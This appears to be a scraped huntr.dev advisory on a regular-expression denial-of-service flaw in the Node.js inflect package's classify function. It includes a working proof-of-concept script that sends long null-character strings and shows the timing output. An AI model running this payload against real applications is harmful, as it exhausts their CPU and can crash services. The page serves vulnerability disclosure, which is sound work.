Lucene search

K
huntrReady-research4612B31A-072B-4F61-A916-C7E4CBC2042A
HistorySep 19, 2021 - 10:44 a.m.

Inefficient Regular Expression Complexity in pksunkara/inflect

2021-09-1910:44:30
ready-research
www.huntr.dev
11
regular expression
denial of service
cpu consumption
crafted input
node.js
exhausting resources
system crash

EPSS

0.001

Percentile

45.7%

✍️ Description

The inflect package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted table_name as input to the classify function may cause an application to consume an excessive amount of CPU.
Below pinned line using vulnerable regex.

🕵️‍♂️ Proof of Concept

Put the below in a poc.js file and run with node

//poc.js
var inflect = require('i')();
for(var i = 1; i <= 500; i++) {
    var time = Date.now();
    var payload = ""+"\u0000".repeat(i*10000)+"\u0000"
    inflect.classify(payload)
    var time_cost = Date.now() - time;
    console.log("Classify time : " + payload.length + ": " + time_cost+" ms");
    }

Check the Output:

Classify time : 10001: 158 ms
Classify time : 20001: 565 ms
Classify time : 30001: 1282 ms
Classify time : 40001: 2129 ms
Classify time : 50001: 3369 ms
Classify time : 60001: 8430 ms
Classify time : 70001: 15926 ms
Classify time : 80001: 16221 ms
--
--

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

EPSS

0.001

Percentile

45.7%

Related for 4612B31A-072B-4F61-A916-C7E4CBC2042A